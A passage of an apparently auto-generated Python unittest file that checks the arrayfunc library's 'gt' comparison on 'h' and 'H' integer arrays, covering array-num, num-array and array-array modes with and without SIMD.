vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('h', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('h', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('h', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('h', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('h', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code h.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code h.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code h.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code h.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code h.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code h.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code h.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code h.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code h.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_H_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'H' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'H' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.H_min
maxval = arrayfunc.arraylimits.H_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'H' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('H', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('H', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('H', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('H', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('H', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code H.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code H.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code H.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code H.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code H.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code H.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code H.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code H.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code H.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_nosimd_simd_H_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'H' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'H' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.H_min
maxval = arrayfunc.arraylimits.H_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'H' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('H', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('H', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('H', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('H', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('H', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code H.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code H.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code H.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code H.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code H.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code H.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code H.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code H.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail , nosimd=True)
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code H.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited , nosimd=True)
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_H_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'H' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'H' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.H_min
maxval = arrayfunc.arraylimits.H_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'H' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [baseval + 1, baseval + 2, baseval + 3]]
vals_param_array_num_fail = [float(x) for x in [baseval + 31, baseval + 35, topval]]
vals_param_num_array_pass = [float(x) for x in [baseval + 20, baseval + 30, baseval + 40]]
vals_param_num_array_fail = [float(x) for x in [baseval + 0, baseval + 1, baseval + 4]]
else:
vals_param_array_num_pass = [baseval + 1, baseval + 2, baseval + 3]
vals_param_array_num_fail = [baseval + 31, baseval + 35, topval]
vals_param_num_array_pass = [baseval + 20, baseval + 30, baseval + 40]
vals_param_num_array_fail = [baseval + 0, baseval + 1, baseval + 4]
# Now create the arrays and lists.
self.data_array_num = array.array('H', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('H', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 15, baseval + 17]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('H', list(itertools.islice(itertools.cycle([baseval + 10, baseval + 20, baseval + 30]), testdatasize)))
self.data_array_array_pass = array.array('H', list(itertools.islice(itertools.cycle([baseval + 1, baseval + 2, baseval + 3]), testdatasize)))
self.data_array_array_fail = array.array('H', list(itertools.islice(itertools.cycle([baseval + 31, baseval + 35, topval]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code H.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code H.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code H.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code H.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code H.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code H.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code H.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code H.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code H.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_even_arraysize_withsimd_simd_H_1(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'even' == 'even':
testdatasize = 512
if 'even' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
# can be made to the test data when comparing values.
# 'f' numbers have only 23 bits of precision and 'd' numbers have only 52
# bits of precision, so they are limited here to the next lowest integer value.
if 'H' == 'f':
minval = arrayfunc.arraylimits.h_min
maxval = arrayfunc.arraylimits.h_max
elif 'H' == 'd':
minval = arrayfunc.arraylimits.i_min
maxval = arrayfunc.arraylimits.i_max
else:
minval = arrayfunc.arraylimits.H_min
maxval = arrayfunc.arraylimits.H_max
# We create numbers algorithmically in order to spread the
# test values over the ranges of different integers.
# Create values near the bottom and top of the integer range.
baseval = minval + 10
topval = maxval - 10
maxint = maxval
# Pick something near the middle of the range, but with a bit of
# an aribitrary offset.
midval1 = ((maxval + minval) // 2) + 3
midval2 = ((maxval + minval) // 2) + 5
midval3 = ((maxval + minval) // 2) + 25
# The template has to conver integer to floating point parameters.
if 'H' in ('f', 'd'):
vals_param_array_num_pass = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
vals_param_array_num_fail = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_pass = [float(x) for x in [topval + 5, topval, maxint]]
vals_param_num_array_fail = [float(x) for x in [topval - 25, topval - 30, topval - 35]]
else:
vals_param_array_num_pass = [topval - 25, topval - 30, topval - 35]
vals_param_array_num_fail = [topval + 5, topval, maxint]
vals_param_num_array_pass = [topval + 5, topval, maxint]
vals_param_num_array_fail = [topval - 25, topval - 30, topval - 35]
# Now create the arrays and lists.
self.data_array_num = array.array('H', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_array_num_pass = vals_param_array_num_pass
self.param_array_num_fail = vals_param_array_num_fail
self.data_num_array = array.array('H', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.param_num_array_pass = vals_param_num_array_pass
self.param_num_array_fail = vals_param_num_array_fail
self.data_array_array = array.array('H', list(itertools.islice(itertools.cycle([topval - 10, topval - 15, topval - 20]), testdatasize)))
self.data_array_array_pass = array.array('H', list(itertools.islice(itertools.cycle([topval - 25, topval - 30, topval - 35]), testdatasize)))
self.data_array_array_fail = array.array('H', list(itertools.islice(itertools.cycle([topval + 5, topval, maxint]), testdatasize)))
########################################################
def test_gt_basic_array_num_a1(self):
"""Test gt as *array-num* for basic function - Array code H.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a2(self):
"""Test gt as *array-num* for basic function - Array code H.
"""
for testval in self.param_array_num_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([x > testval for x in self.data_array_num])
result = arrayfunc.gt(self.data_array_num, testval )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_num_a3(self):
"""Test gt as *array-num* for basic function with array limit - Array code H.
"""
for testval in self.param_array_num_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_array_num) // 2
expected = all([x > testval for x in self.data_array_num[0:limited]])
result = arrayfunc.gt(self.data_array_num, testval, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b1(self):
"""Test gt as *num-array* for basic function - Array code H.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b2(self):
"""Test gt as *num-array* for basic function - Array code H.
"""
for testval in self.param_num_array_fail:
with self.subTest(msg='Failed with parameter', testval = testval):
expected = all([testval > x for x in self.data_num_array])
result = arrayfunc.gt(testval, self.data_num_array )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_num_array_b3(self):
"""Test gt as *num-array* for basic function with array limit - Array code H.
"""
for testval in self.param_num_array_pass:
with self.subTest(msg='Failed with parameter', testval = testval):
limited = len(self.data_num_array) // 2
expected = all([testval > x for x in self.data_num_array[0:limited]])
result = arrayfunc.gt(testval, self.data_num_array, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c1(self):
"""Test gt as *array-array* for basic function - Array code H.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_pass)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c2(self):
"""Test gt as *array-array* for basic function - Array code H.
"""
expected = all([x > y for (x, y) in zip(self.data_array_array, self.data_array_array_fail)])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_fail )
self.assertFalse(expected)
self.assertFalse(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
########################################################
def test_gt_basic_array_array_c3(self):
"""Test gt as *array-array* for basic function with array limit - Array code H.
"""
limited = len(self.data_array_array) // 2
expected = all([x > y for (x, y) in zip(self.data_array_array[0:limited], self.data_array_array_pass[0:limited])])
result = arrayfunc.gt(self.data_array_array, self.data_array_array_pass, maxlen=limited )
self.assertTrue(expected)
self.assertTrue(result)
self.assertIsInstance(result, bool)
self.assertEqual(expected, result)
##############################################################################
##############################################################################
class gt_general_odd_arraysize_nosimd_simd_H_0(unittest.TestCase):
"""Test for basic general function operation using numeric data.
test_template_comp
"""
########################################################
def setUp(self):
"""Initialise.
"""
if 'odd' == 'even':
testdatasize = 512
if 'odd' == 'odd':
testdatasize = 511
# The maximum and minimum values used for 'f' and 'd' arrays are
# limited here to within their precision so that small changes
